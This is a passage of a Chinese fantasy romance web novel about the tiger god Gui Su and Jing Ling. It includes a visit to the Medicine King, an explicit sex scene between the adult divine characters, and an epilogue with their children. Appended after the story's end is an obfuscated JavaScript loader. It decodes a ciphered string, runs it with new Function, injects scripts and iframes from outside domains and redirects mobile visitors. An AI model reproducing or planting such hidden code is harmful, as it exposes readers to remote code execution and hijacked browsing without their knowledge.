「啊啊,羞死人了……我怎麽会说出那种话?」他摸着发烫的脸颊,回想着方才的吻,情不自禁地笑起,「如果她对我有同样的心情就好了。」
他可以慢慢来、慢慢与她培养感情,至少可以认为他在她的心底多少有点份量,是利用也好、是信赖也好,对他来说都无所谓,现在的他是心甘情愿伴随在她身旁,他不是贪婪的人,不会说出希望对方也付出相等的情感。
但,他是『野』,更贪恋於归於本性的欲望。
他始终惦记着最初的预知梦,朦朦胧胧,看不清人影,也听不见声音,但在他病得浑浑噩噩时,他不断地重复梦见相同的情景,同样的春光旖旎,共赴云雨的同时,传来的是他忘不了的甜美嗓音,叫着对他的敬称、唤着他的真名,每一刻有着欢愉的甜蜜,更有模糊的痛苦。
「唉,不能再想了,否则後果不堪设想。」他暗自苦笑一番。湖水的冰冷似乎降不下体内欲火的热度。
折腾了约莫有半个时辰,他才一副神清气爽,抱着同样恢复以往的淡定的镜泠,准备上路回神界。
「要我通报一下你家的护法吗?」
「是的,妾身担心他俩找不着,毕竟已经呼唤了他们。」
他轻轻一弹指,两道白影立刻自他的掌心飞出,往同一方向直直飞去。
「看来他们应该是在一起。」不过,他们会分开就奇怪了。
镜泠终於松了一口气,那麽小心翼翼守护她的太初和九泉,就怕因自己累坏了那两个令人怜悯的孩子。
「上路吧。」
「是。」
花草锦簇,环绕了药王的住处,辽阔的庭院有各式各样的药草,以及具疗效功用的稀有动物,天上飞的、地上爬的、水底游的,应有尽有,任君挑选。当然,得先过了主人的同意。
两鬓白发的药王瞪大了两眼,忍下把手中的杵臼丢出去的冲动,口气凶狠地让徒弟请上门者进来。
「都冒青筋的了,药爷。」癸宿可没忽略药王火冒三丈的凶样。
「老夫是得罪了谁?堂堂一个御前神兽,竟断了只手来找上门,你这是要天帝派天兵神将替你寻仇吗?」药王又看向稳稳坐在他手臂上的镜泠,「连你都来了,是嫌老夫的头发不够白吗?」
镜泠连忙解释,「药王大人,妾身是陪同神君来的,无意叨扰大人您,妾身已恢复八成了。」
药王扬了眉,「喔?那倒好,是个好现象。」
「药爷,你别骂她,有事找你的人是我。」
「臭小子,不舍得吗?你最好别和我说,你这小毛头情窦初开。」
癸宿红了脸,大方承认,「我是喜欢镜泠,你没由地骂她,我当然会舍不得,要骂就骂我便是了。」
不仅是镜泠羞得双手掩面,就连药王也呆滞了好几秒,一旁的药王徒弟更洒了一地的药汁。
「做啥?」他很不满意众人的反应,乾脆转移话题,「药爷,你能不能恢复我的左手?」
药王立刻回神,「手在就好说,不就缝缝补补而已。如果没了,就得多花点时日,对症下药。」
他想也没想,「大概是没了,要在这住多久?」
「……」谁去把他的断肢找回来?
「十分对不起,神君,妾身当初应该捡…拿回你的手。」镜泠满脸的歉意,明白光是这样是不足以弥补癸宿所失去的。
他回以她一笑,「没事啦,不过就一块肉,药爷会想办法的。」
「……」当他药王是神啊?……不对,他是神没错。
一旁的药王徒弟似乎听见师父青筋爆开的声音。
药王再度忍下想宰人的冲动,挥挥手赶人,「小子,你去别的地方晃晃,我有事要和她谈谈。」
「我不能在?」
「女人的事你懂吗?」
「不懂。」
「那就滚。」药王使了眼神,要徒弟将人扶过来。
准备离去的癸宿不放心地叮咛,「药爷,她的一根头发我都不会让给你当药材,你最好别动她。」
药王手中的杵臼终於丢了出去,却砸中被关上的大门。
「药王大人,请息怒。」
「唉……你偏偏跟了这小子。」他深叹一声,转身继续忙他的,「你的魂魄还差多少?」
镜泠据实以报,「差一魄。」
「知道在哪了吗?」
「……知。」
药王睇了她一眼,好声好气地道:「那就好,到时全部收齐了,诅咒便能解,如果那小子也在便如虎添翼。」
她不解,「神君吗?」
「对,他们那些御前神兽各有奇特能力,朱雀与玄武掌握生与死之力,白虎与青龙乃阴阳之力。你的诅咒勉强算是阴的范畴内,你之所以恢复的如此神速,那小子应该出过点力吧?」
她点了点头。怪不得当时会觉得全身舒畅放松。
「你能有个人作伴,算是给过去的同伴一个交代。孤独那麽久也够了,你必须学会选择遗忘,学会从罪孽中解放自身。」
「……大人……」
「如果你忘不了过去,将会对那小子造成无形的伤害,他是真心想要呵护你、保护你的人。」
镜泠抿紧了唇,喃喃地道:「…妾身可以吗?」
「有何不可?我们是神,可没闲工夫去惦记着已经失去的人事物。」药王将她扶到一旁的书架旁,「老夫得忙了,你就看看书吧,有很多是你以前没读过的。」
「…谢谢您,大…师尊。」镜泠深深作揖,如同很久很久以前的她。
「傻徒儿。」
镜泠淡淡一笑,望向熟悉的书柜,修长的手指一一滑过见过的书名,浏览了一会,停在一本没有书名的册子上。
「这是……?」
她拿下後小心翼翼地翻阅,一页一页的过去,她顿时才明白为何这本书册是没有书名的。
她看了看屋内忙碌的药王师徒,决定一口气将手中的书册读完─为了心中那位重要之人。
☆、白虎(八)-H
只是没预料,接下来的发展竟是如此这般。
无预警地的被药王丢进无人使用的药池里,衣服被扒得精光,两人的再次相遇竟是以这样的方式的呈现。
癸宿哑口无言,想退也不知要退到哪去,想进就怕被当作禽兽,进退两难的窘境让他困窘不已,反倒是镜泠,没有一般女子的羞涩,更没有放声尖叫、用双手遮身的举动,和他相较起来,明显冷静许多。
「神君,无须理会妾身,这药池对你有益。」
「我、我知道。」癸宿搔着头,当下已无心继续泡药池。
与美人共浴,说心底没有奇怪的骚动或是感觉正在萌芽,都是骗人的。神兽不是圣人,面对眼前这般诱人的景色,在理性与欲望间确确实实上演了一场天人交战。
「神君?」镜泠缓缓地游上前,掬了把药水淋在他的左肩上,「你这样不行,患部一定要泡在水里。」
他急忙退了一步,「我自己来,你……在那就好。」
天杀的,这不懂世事的小丫头是要逼死谁?他严格说起来也是头雄性的野兽,她怎麽会那麽毫无防备?
她欲启口又抿起了唇,按着心口的跳动,比平常更快、更剧烈的跳动。
在遇到白虎神君之前,她都是和太初与九泉一起同进同出,或许在他人的眼里,就是因为她的纵容,造成他俩对她这位主人肆无忌惮,甚至狂妄到在她面前频犯神界戒律。
因为怎样都躲不过天帝的眼,就连那次也是……
遭逢雪崩的那次行走,他们在危急时找到了一个山洞,点了火、脱下湿透的衣物,他俩服侍她休憩後,隔了很长一段时间,她隐隐约约听见很微弱的声音,是太初和九泉的声音,很压抑、很痛苦。
悄悄瞄了一眼,看见两人交缠的身影,浓浓的陌生气味使她有了莫名的感受。她懂那意味着什麽,却欺骗自己不能懂,那是身为佛的她不能触碰的禁忌。然而,在体验到差点失去癸宿的痛苦後,她决定解放自己、堕落。
因为他就在伸手可及的地方,回头等着她。
癸宿一震,「咦?」
他僵硬地低下头,瞪着那双白如雪的手臂,从後环抱着他的腰身,柔软的躯体紧贴着背脊,传来了肌肤与肌肤接触的颤栗与热度。
「镜……」
「等我。」
他拍了拍她的手背,没好气地说:「我在这,哪都不会去,就在这等你。」
「嗯。」她蹭了蹭厚实的背,仍然可以感受到以往的温暖。
「…嗯……」受到了刺激,他终於忍不住叫出了声音。
镜泠眨眨眼,探出小小的脑袋,「神君,你对我有情欲吗?」
问得很天真,烂漫到他觉得自己个肮脏的禽兽,低首凝视那双水亮的眼眸,他只好羞愧得硬着头皮,挤出一个字。
「有……」
听到这般的回答,癸宿原以为镜泠会直骂他下流,没想到她竟难得朝他露出羞赧的表情,傻傻地一笑。
「太好了。」
「太好什麽……呜!」话还来不及说完,瞬间出手拉住摸上他藏在水里的欲望的小手。
哈…只被摸一下,就有如雷击的酥麻,麻得令人上瘾。
他驳斥着误触地雷的她,「做什麽?你的手别再……来了!啊!」他忘了他只有一只手,她可是有一双手。
「神君对妾身有情欲,那,妾身亦有,咱俩平等,悦乎。」
「呜啊!」
悦啊!何止悦,是甜得令他牙疼、麻得令他疯狂。
镜泠轻柔地边抚摸他的大腿内侧,边摩擦掌心上的硬挺,後背上的两颗软玉更是不时地滑动、贴近。笨拙的技巧虽然有时会弄痛他,却总是一一化开他的意识,逐渐地沉溺下去,不得已之下,他只能伸手扶着药池边缘,好让自己不至於腿软而摔进水底。
「哈啊……唔。」
这羞耻的声音是出自於他?脸好烫啊。
就连这时她的嗓音听起来都好淫乱。
「请神君莫嫌弃,妾身乃初次尝试,未能熟练。」她忍不住心脏的狂跳,跟着他一起喘息、躁动。
「别、别停。」
「那…或许神君会喜欢『这样』。」她收回了一只手,前往的地方则是就连癸宿本人都预料不到的。她顺着他结实的臀部,毫不犹豫地探入隐藏极好的深处,即便混着冰凉的药水一起,仍感受到内部的温热。
「啊!」癸宿吓得夹住双腿,连同她的手。「丫头,你、你在哪学会的?哪里不摸你摸那!」
这是她才乖乖的据实以报,「妾身在春宫图册看到的。」
「什麽?」
「妾身只是换了种方式呈现,神君莫怪。」她无辜地喊着他,「神君,不喜欢吗?」
癸宿瞪着她,最後还是在欲望上败了阵,半放弃的松开双腿,任凭她诱人的服侍,在他的下身展开攻势。
细腻的指尖轻轻地滑过陌生的地带,本能地想要退缩,在从未有过的陌生感受下,仍好奇地上前迎合,收复了那纤纤玉手,渐渐贪恋起这样的亲密,想要更深、更深……
『啊!』同时间,癸宿惨叫一声,镜泠惊叫一声。
她刚才似乎感觉到有股热流穿过她的指间,想要收回手一归究竟,却被他抢先一步,拉着她的手,在水里洗了又洗。
「神君,那是……?」
他却有些懊悔地回道:「那是不小心的,等等就不会这样了。」
镜泠有些迷惘,方才停留在手中的欲望还是炙热的,现在却有些难以言喻的失落,她渴望更多、更多的……欲。
「呐,还不能停。」他侧着脸,倾身吻着她的红唇。
甜美的香气,引诱着他唤醒沉睡的丁香小舌,一点一点地挑逗,紊乱的鼻息加速了舌尖的交缠,自嘴角流下了盈满的银丝。退开了又旋即紧紧贴合,只为了求一口气,好可以继续浓情密意的热吻。
一只大手无声地探去,随着水流抚过镜泠那含苞待放的美丽。
黛眉一皱,她受到刺激而发出的声音全被他的吻吞了进去。这时的她终於明白刚才他所体会的感受。
带着薄茧的手温柔地伸入已然濡湿的花径里,美丽柔软的花瓣正尝试接受他的到来,含着他的手指颤抖。在外的拇指徐徐地按压位於顶端的花核,小巧且滑腻,跟着他的玩弄而起舞;在内的指头则是享受着热情的包覆,似水的热流滋润了花径,指腹仔仔细细地流连过每一处,彷佛想要将其铭记在心。
「啊、啊啊。」保有处子之身的镜泠承受不住过於激情的刺激,早已瘫软在他的怀里,只能靠着水的浮力和他的手来支撑全身的重量。
癸宿的眼底全是她因情欲而有的娇情,按耐不住心中的骚动,轻咬着她的耳垂,顺着脸颊、下巴,一路的啃咬到白净的颈子,然後用力地吮吻,霸道地留下淡红的吻痕。
「从今以後,你就是我的,谁都不准碰。」
她甜甜地一笑,「好。」
「…抱着我的颈子。」
「是……」
确定她已经抱稳後,他便抬起她的左腿,红润的花蕊一览无遗,他低垂金眸,强压下失序的心跳,微颤地将勃发的硬挺放入花蕊中心,全心全意地接受了他,共享绽放的绝响时刻。
迎接他的是『红』的歌咏。
镜泠忍不住身下的剧痛,不停地颤抖,却死死地绞着他不放。滴落的鲜血落入药水中便化为乌有。
「疼吗?」说出的话语是那麽的沙哑,心疼她却宁愿选择忽略,现在的他几乎被欲望占满了思绪,只想快点侵占她、填满她。
她摇了摇头,眼眸里泛着泪光,「只要是神君,就算疼痛,妾身心甘情愿接受所有一切。」
「…镜泠……」他心爱的人儿啊。
最後一丝的理智断裂时,跋扈强行的他已然深入最底层,紧紧地结合,用他爱人的方式述说他的情话,狂野中带着细腻、霸道里有着他独有的温柔,如诗如画般地勾勒出最甜蜜的爱情。
白烟袅袅,紊乱的水潮拍打声,波澜般的水流翻腾,细细密密的娇吟,回荡着、空转着,弥漫於池边的芳草香气,隐隐约约散发出诱人迷炫的欢愉,正轰轰烈烈地进行一场场淫乱迷魂的交欢。
冰凉的地板上,交缠的身影不曾停歇过。
镜泠的初次持续了许久,几度的痴迷沉醉後,她勉强在他过於强大的冲撞下回过神,双手捧着他的脸,柔声地问:「怎麽了,癸宿?」
他停下了动作,拉着她的手贴着脸颊,神情却有着不安与歉意,「对不起,弄痛你了吗?」
「不,你在想什麽?」她撑起了身子,用力地抱住他,「放心,我哪里都不会去,你已经是我的归处了。」
「……即使找到最後的魂魄?」
「如果那会使你不安,我宁愿舍弃它。」
即便它就在癸宿的体内,她也会毅然选择忽视它,眼里只见得到心爱的人。
「真心?」
她浅浅一笑,「都把生命都托给你了,还怀疑妾身的真心吗?」
「…嗯。」他释怀地灿笑,露出小小的虎牙,「我最爱你了。」
几年後。
一对几乎是同个模子刻出来的双胞胎,手牵着手来到自家的大厅,看到家中的客人,立刻大大一鞠躬。
两人异口同声地道:「你们好,太初哥哥、九泉哥哥。」接着又转身面向另一边的客人,「望熹哥哥、莹儿姐姐。」
莹儿扶着大腹便便的肚子,摸摸两人的头,「好久不见,你们都长大了。」
「女人,你可要小心那两个小毛头,鬼灵精怪的,别摔了。」太初没好气地看着总让他吃尽苦头的双胞胎。
「少说些不吉利的。」望熹狠狠地瞪了回去,小心翼翼地扶着爱妻。
「是是是。」
「那两只虎子是皮了点,毕竟是某人的孩子。」九泉也忍不住调侃了几句。
「你们是当我不在是吗?」癸宿按按额际,怀中还抱了个熟睡的强褓,「我找你们不为别的,帮我带小孩吧,就两天。」
九泉眉头一皱,「神君,仙尊的魂魄已经寻了多年,始终没有最後一魄的下落吗?在这样下去,仙尊是否有痊愈的一天?」
他淡笑不语,只把怀中的心头肉递给望熹。
「爹?」双胞胎抬起头,小小的手抓着父亲的衣角。
「娘她不会有事,爹这就去接娘回来,你们要乖乖听话,好吗?」癸宿抱抱孩子後,便踏出大门离去。
癸宿捂着心口,眼中闪过一丝的罪恶。
没错,镜泠不会有事的,就算最後一魄在他体内,只要有他在她的身边,他会永远守护她、永远深爱着她。
即使要用灵魂囚困她,他也不要让她离开他的身边。
「癸宿,你来了。」镜泠满脸笑容地迎接来到神界的癸宿。
他抱紧了爱妻,「药爷说了什麽?」
「是宝宝喔。」
双眼一亮,对她亲了又亲,「太好了,他们一定很开心。」
「是啊,只要有你们在,我就觉得一切都值得了,我真的好幸福。」
「我也是。」
两人牵着手,一起回到有家人所在的归属之地。
**************************【完】*******************************
!function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();